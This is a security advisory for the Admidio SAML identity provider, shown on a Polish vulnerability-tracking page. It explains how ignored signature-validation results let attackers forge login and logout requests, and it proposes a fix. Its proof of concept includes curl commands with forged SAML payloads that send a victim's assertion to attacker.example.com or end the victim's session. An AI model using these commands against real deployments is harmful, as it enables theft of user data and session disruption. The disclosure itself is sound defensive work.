Wysoka

Admidio Ignores SAML Signature Validation Result, Processes Forged AuthnRequests and LogoutRequests

  • Ujawniono: 29.04.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

The Admidio SAML Identity Provider implementation discards the return value of its validateSignature() method at both call sites (handleSSORequest() line 418 and handleSLORequest() line 613). The method returns error strings on failure rather than throwing exceptions, but the developer believed it would throw (per comments on lines 416 and 611). This means the smc_require_auth_signed configuration option is completely ineffective — unsigned or invalidly-signed SAML AuthnRequests and LogoutRequests are processed identically to properly signed ones.

Details

The validateSignature() method at src/SSO/Service/SAMLService.php:355 has three possible return paths:

php
// Line 355-392
public function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool|string {
    global $gL10n;
    $certPem = $client->getValue('smc_x509_certificate');
    if (!$certPem) {
        if ($required) {
            return $gL10n->get('SYS_SSO_SAML_SIGNATURE_KEY_MISSING'); // Returns STRING, not throw
        } else {
            return false;
        }
    }
    // ...
    $signatureReader = $message->getSignature();
    if (is_null($signatureReader)) {
        if ($required) {
            return $gL10n->get('SYS_SSO_SAML_SIGNATURE_MISSING'); // Returns STRING, not throw
        } else {
            return false;
        }
    }
    try {
        $ok = $signatureReader->validate($key);
        if ($ok) {
            return true;
        } else {
            return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'); // Returns STRING, not throw
        }
    } catch (Exception $ex) {
        return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'); // Returns STRING, not throw
    }
}

Both call sites discard the return value entirely:

php
// Line 416-419 in handleSSORequest()
// Validate signatures. Will throw an exception    <-- INCORRECT COMMENT
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
    $this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed'));
    // Return value discarded — execution continues regardless of validation result
}

// Line 611-614 in handleSLORequest()
// Validate signatures. Will throw an exception    <-- INCORRECT COMMENT
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
    $this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed'));
    // Return value discarded — execution continues regardless of validation result
}

SSO exploitation path (for already-logged-in users):

  1. modules/sso/index.php:92 routes to handleSSORequest()
  2. Line 403: receiveMessage() parses SAML binding directly from HTTP GET/POST — no authentication required
  3. Line 408-409: Entity ID extracted from the forged request's Issuer element, client config loaded
  4. Line 417-419: Signature validation called but return value discarded — flow continues
  5. Line 421: $gValidLogin is true for logged-in users, so login form is skipped
  6. Lines 438-580: SAML Response built with user's real attributes (login, name, email, roles) and sent to the AssertionConsumerServiceURL from the forged request

SLO exploitation path:

  1. modules/sso/index.php:94 routes to handleSLORequest()
  2. Line 613: Signature validation discarded
  3. Lines 621-629: User's session is deleted from the database and $gCurrentSession->logout() is called

PoC

bash
# Prerequisites:
# - Admidio instance with SAML SSO enabled (sso_saml_enabled=1)
# - At least one registered SAML SP client with smc_require_auth_signed=true
# - A user with an active session (e.g., admin browsing the Admidio panel)

# 1. Generate an unsigned AuthnRequest impersonating a registered SP:
AUTHN_REQUEST=$(python3 -c "
import base64, zlib
req = '<samlp:AuthnRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_fake123\" Version=\"2.0\" IssueInstant=\"2026-03-27T00:00:00Z\" AssertionConsumerServiceURL=\"https://attacker.example.com/acs\"><saml:Issuer>https://legitimate-sp.example.com/entity-id</saml:Issuer></samlp:AuthnRequest>'
print(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode())
")

# 2. Send the unsigned request via HTTP-Redirect binding (GET):
# If a logged-in user's browser follows this link (e.g., via CSRF/social engineering),
# Admidio generates a signed SAML assertion with the user's PII and sends it
# to the attacker-controlled ACS URL.
curl -v "https://admidio.example.org/adm_program/modules/sso/index.php/saml/sso?SAMLRequest=${AUTHN_REQUEST}" \
  -b 'PHPSESSID=VICTIM_SESSION_COOKIE'

# Expected: Despite smc_require_auth_signed=true, the unsigned request is processed.
# The response contains a SAML assertion with the victim's attributes.

# 3. For SLO — forge a LogoutRequest to terminate a victim's session:
LOGOUT_REQUEST=$(python3 -c "
import base64, zlib
req = '<samlp:LogoutRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_fake456\" Version=\"2.0\" IssueInstant=\"2026-03-27T00:00:00Z\"><saml:Issuer>https://legitimate-sp.example.com/entity-id</saml:Issuer><saml:NameID>victim@example.com</saml:NameID></samlp:LogoutRequest>'
print(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode())
")

curl -v "https://admidio.example.org/adm_program/modules/sso/index.php/saml/slo?SAMLRequest=${LOGOUT_REQUEST}" \
  -b 'PHPSESSID=VICTIM_SESSION_COOKIE'

# Expected: Victim's session is terminated, logout cascaded to all registered SPs.

Impact

  • Signature enforcement bypass: The smc_require_auth_signed setting is entirely ineffective. Administrators who enable this setting believing it protects against forged requests have a false sense of security.
  • User attribute disclosure (SSO): When combined with the ability to specify an arbitrary AssertionConsumerServiceURL, an attacker can redirect a logged-in user's SAML assertion (containing login name, email, real name, role memberships) to an attacker-controlled endpoint.
  • Session termination (SLO): An attacker can forge LogoutRequests to terminate any user's Admidio session and trigger cascading single logout across all registered Service Providers, causing denial of service for targeted users.
  • Amplifies ACS URL injection: The signature requirement was the primary defense against unvalidated ACS URLs in AuthnRequests. Without signature enforcement, the ACS redirect becomes trivially exploitable via GET redirect binding (which bypasses SameSite=Lax cookie restrictions).

Recommended Fix

Check the return value of validateSignature() and throw on failure. In src/SSO/Service/SAMLService.php, fix both call sites:

php
// In handleSSORequest(), replace lines 416-419:
// Validate signatures
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
    $result = $this->validateSignature($client, $request, (bool)$client->getValue('smc_require_auth_signed'));
    if ($result !== true && $result !== false) {
        // $result is an error message string — validation failed
        throw new Exception($result);
    }
}

// In handleSLORequest(), replace lines 611-614 with the same pattern:
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
    $result = $this->validateSignature($client, $request, (bool)$client->getValue('smc_require_auth_signed'));
    if ($result !== true && $result !== false) {
        throw new Exception($result);
    }
}

Alternatively, refactor validateSignature() to throw exceptions on failure (matching the developer's original intent as documented in the comments), which would make both call sites correct as-is:

php
public function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool {
    global $gL10n;
    $certPem = $client->getValue('smc_x509_certificate');
    if (!$certPem) {
        if ($required) {
            throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_KEY_MISSING'));
        }
        return false;
    }
    // ... (same cert loading logic) ...
    $signatureReader = $message->getSignature();
    if (is_null($signatureReader)) {
        if ($required) {
            throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_MISSING'));
        }
        return false;
    }
    try {
        if (!$signatureReader->validate($key)) {
            throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'));
        }
        return true;
    } catch (Exception $ex) {
        throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'));
    }
}

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka Composer admidio/admidio < 5.0.9 5.0.9

Odnośniki

Ocena CVSS 8.2/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
Słabość (CWE)
CWE-347
Platforma
Composer
Paczka
admidio/admidio
Ujawniono
29.04.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-25cw-98hg-g3cg - CC BY 4.0

Historia podatności: admidio/admidio

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (50) w archiwum
Wszystkich wpisów
50
Pierwsza → ostatnia
03.2022 07.2026
Bez poprawki
1
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 3
  • Wysoka 10
  • Średnia 33
  • Niska 4

Ujawnienia w latach

  1. 2022: 3
  2. 2023: 7
  3. 2024: 3
  4. 2025: 1
  5. 2026: 36
Istotność:
  1. Admidio Ignores SAML Signature Validation Result, Processes Forged AuthnRequests and LogoutRequests ten wpis
    Wysoka · 8.2 CVE-2026-41669 < 5.0.9 5.0.9
  2. Krytyczna · 9.1 CVE-2026-32817 >= 5.0.0, < 5.0.7 5.0.7
  3. Wysoka · 8.8 CVE-2026-32756 < 5.0.7 5.0.7
  4. Krytyczna · 9.0 CVE-2024-38529 < 4.3.10 4.3.10
  5. Krytyczna · 9.9 CVE-2024-37906 < 4.3.9 4.3.9
  6. Wysoka · 8.2 CVE-2022-0991 < 4.1.9 4.1.9

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.